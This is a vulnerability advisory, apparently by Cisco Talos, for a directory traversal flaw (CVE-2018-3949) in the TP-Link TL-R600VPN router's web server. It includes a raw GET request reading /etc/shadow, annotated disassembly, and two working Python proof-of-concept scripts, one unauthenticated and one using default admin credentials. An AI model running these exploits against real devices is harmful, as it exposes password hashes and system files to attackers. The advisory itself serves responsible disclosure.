CVE-2018-3949
An exploitable information disclosure vulnerability exists in the HTTP server functionality of the TP-Link TL-R600VPN. A specially crafted URL can cause a directory traversal, resulting in the disclosure of sensitive system files. An attacker can send either an unauthenticated or an authenticated web request to trigger this vulnerability.
TP-Link TL-R600VPN HWv3 FRNv1.3.0 TP-Link TL-R600VPN HWv2 FRNv1.2.3
https://www.tp-link.com/us/products/details/cat-4909_TL-R600VPN.html
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
A directory traversal vulnerability exists in the TP-Link TL-R600VPN in both authenticated and unauthenticated forms.
If a standard directory traversal is used with a base page of ‘help’ the traversal does not require authentication and can read any file on the system. If any one of the following pages is used, authentication is required: - images - frames - dynaform - localiztion.
An example malicious GET request is as follows: GET /help/../../../../../../../../../../../../../../../../etc/shadow HTTP/1.1 Host: 192.168.0.1 User-Agent: Python Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1/userRpm/AccessCtrlAccessRulesRpm.htm Connection: close Upgrade-Insecure-Requests: 1
[Annotated Disassembly / Decompilation output]
LOAD:00426340 loc_426340: # CODE XREF: httpRpmFsA+240↓j
LOAD:00426340 la $t9, read
LOAD:00426344 move $a0, $s3 # moves the file descriptor into arg 0
LOAD:00426348 jalr $t9 ; read # triggers a read call
LOAD:0042634C move $a1, $s2 # moves the filename into arg 1 (/../../../../../etc/shadow)
LOAD:00426350 move $a0, $s5
LOAD:00426354 lw $gp, 0x110+var_100($sp)
LOAD:00426358 move $a2, $v0
LOAD:0042635C move $a1, $s2
LOAD:00426360 addu $s6, $v0
LOAD:00426364 la $t9, httpBlockPut
LOAD:00426368 jalr $t9 ; httpBlockPut # function responsible for writing read data to the socket when possible
LOAD:0042636C move $s0, $v0 # stores the response code from httpBlockPut - 0x0 for success and 0xFFFFFFFF for failure
LOAD:00426370 li $v1, 0xFFFFFFFF
LOAD:00426374 lw $gp, 0x110+var_100($sp)
LOAD:00426378 beq $v0, $v1, loc_42639C
LOAD:0042637C subu $a2, $s1, $s6
LOAD:00426380 lw $v1, 0x110+var_28($sp)
LOAD:00426384 sltu $v0, $a2, $v1
LOAD:00426388 movz $a2, $v1, $v0
LOAD:0042638C beqz $a2, loc_42639C # branches to the file close block if the read has finished
LOAD:00426390 nop
LOAD:00426394 bnez $s0, loc_426340 # loops if the read has not yet finished
LOAD:00426398 nop
LOAD:0042639C
The below proof of concepts can be used to view any readable file on the device by passing the absolute path as the second argument.
Proof of concept for the unauthenticated case: import requests import sys
def main():
if len(sys.argv) != 3:
print ""
print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
print "Example: python dir_traversal.py 192.168.0.1 /etc/shadow"
print ""
else:
ip_addr = sys.argv[1]
custom_dir = sys.argv[2]
uri="http://%s/help/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
try:
referer = "http://%s/Index.htm" % (ip_addr)
headers = {'Referer':referer}
r = requests.get(uri, headers=headers)
print "\n\nResponse Code: %s\n\n" % (r.status_code)
print r.text
except Exception as msg:
print "ERROR: %s" % (msg)
if __name__ == "__main__":
main()
Proof of concept for the authenticated case: import requests import sys import base64
def main():
if len(sys.argv) != 3:
print ""
print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
print "Example: python dir_traversal.py 192.168.0.1 /etc/shadow"
print ""
else:
ip_addr = sys.argv[1]
custom_dir = sys.argv[2]
uri="http://%s/images/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
try:
auth = "Basic %s" % (base64.b64encode("admin:admin"))
referer = "http://%s/userRpm/MenuRpm.htm" % (ip_addr)
headers = {'Authorization': auth, 'Referer':referer}
r = requests.get(uri, headers=headers)
print "\n\nResponse Code: %s\n\n" % (r.status_code)
print r.text
except Exception as msg:
print "ERROR: %s" % (msg)
if __name__ == "__main__":
main()
2018-06-28 - Vendor Disclosure
2018-10-09 - Vendor provided beta
2018-10-11 - Patch tested and confirmed fix
2018-11-19 - Public Release
Discovered by Jared Rittle of Cisco Talos